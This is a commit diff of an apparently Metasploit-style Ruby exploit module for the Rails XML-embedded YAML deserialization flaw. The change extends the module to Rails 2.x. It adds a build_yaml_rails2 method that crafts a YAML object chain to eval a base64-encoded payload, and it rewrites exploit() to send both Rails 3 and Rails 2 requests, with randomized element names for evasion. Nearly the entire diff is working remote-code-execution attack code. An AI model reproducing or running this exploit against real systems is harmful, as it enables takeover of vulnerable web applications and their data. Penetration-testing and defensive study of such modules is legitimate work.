@@ -22,9 +22,7 @@ def initialize(info = {})
22
22
an attacker to instantiate a remote object, which in turn can be used to execute
23
23
any ruby code remotely in the context of the application.
24
24
25
- This module has been tested across multiple versions of RoR 3.x, but does not yet
26
- work against 2.x versions of RoR.
27
-
25
+ This module has been tested across multiple versions of RoR 3.x and RoR 2.x
28
26
} ,
29
27
'Author' =>
30
28
[
@@ -85,7 +83,25 @@ def detached_payload_stub(code)
85
83
#
86
84
# Create the YAML document that will be embedded into the XML
87
85
#
88
- def build_yaml
86
+ def build_yaml_rails2
87
+
88
+ # Embed the payload with the detached stub
89
+ code = Rex ::Text . encode_base64 ( detached_payload_stub ( payload . encoded ) )
90
+ yaml =
91
+ "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n " +
92
+ "'#{ Rex ::Text . rand_text_alpha ( rand ( 8 ) +1 ) } ; " +
93
+ "eval(%[#{ code } ].unpack(%[m0])[0]);' " +
94
+ ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
95
+ ":#{ Rex ::Text . rand_text_alpha ( rand ( 8 ) +1 ) } :\n :#{ Rex ::Text . rand_text_alpha ( rand ( 8 ) +1 ) } : " +
96
+ ":#{ Rex ::Text . rand_text_alpha ( rand ( 8 ) +1 ) } \n "
97
+ yaml
98
+ end
99
+
100
+
101
+ #
102
+ # Create the YAML document that will be embedded into the XML
103
+ #
104
+ def build_yaml_rails3
89
105
90
106
# Embed the payload with the detached stub
91
107
code = Rex ::Text . encode_base64 ( detached_payload_stub ( payload . encoded ) )
@@ -101,7 +117,7 @@ def build_yaml
101
117
#
102
118
# Create the XML wrapper with any desired evasion
103
119
#
104
- def build_request
120
+ def build_request ( v )
105
121
xml = ''
106
122
107
123
elo = Rex ::Text . rand_text_alpha ( rand ( 12 ) +4 )
@@ -120,7 +136,7 @@ def build_request
120
136
121
137
el = Rex ::Text . rand_text_alpha ( rand ( 12 ) +4 )
122
138
xml << "<#{ el } type='yaml'>"
123
- xml << build_yaml
139
+ xml << ( v == 2 ? build_yaml_rails2 : build_yaml_rails3 )
124
140
xml << "</#{ el } >"
125
141
126
142
if datastore [ 'XML::PadElement' ]
@@ -142,13 +158,22 @@ def build_request
142
158
# Send the actual request
143
159
#
144
160
def exploit
145
- data = build_request
146
- print_status ( "Sending #{ data . length } bytes to #{ rhost } :#{ rport } ..." )
161
+
162
+ print_status ( "Sending Railsv3 request to #{ rhost } :#{ rport } ..." )
163
+ res = send_request_cgi ( {
164
+ 'uri' => datastore [ 'URIPATH' ] || "/" ,
165
+ 'method' => datastore [ 'HTTP_METHOD' ] ,
166
+ 'ctype' => 'application/xml' ,
167
+ 'data' => build_request ( 3 )
168
+ } , 25 )
169
+ handler
170
+
171
+ print_status ( "Sending Railsv2 request to #{ rhost } :#{ rport } ..." )
147
172
res = send_request_cgi ( {
148
173
'uri' => datastore [ 'URIPATH' ] || "/" ,
149
174
'method' => datastore [ 'HTTP_METHOD' ] ,
150
175
'ctype' => 'application/xml' ,
151
- 'data' => data ,
176
+ 'data' => build_request ( 2 )
152
177
} , 25 )
153
178
handler
154
179
end
0 commit comments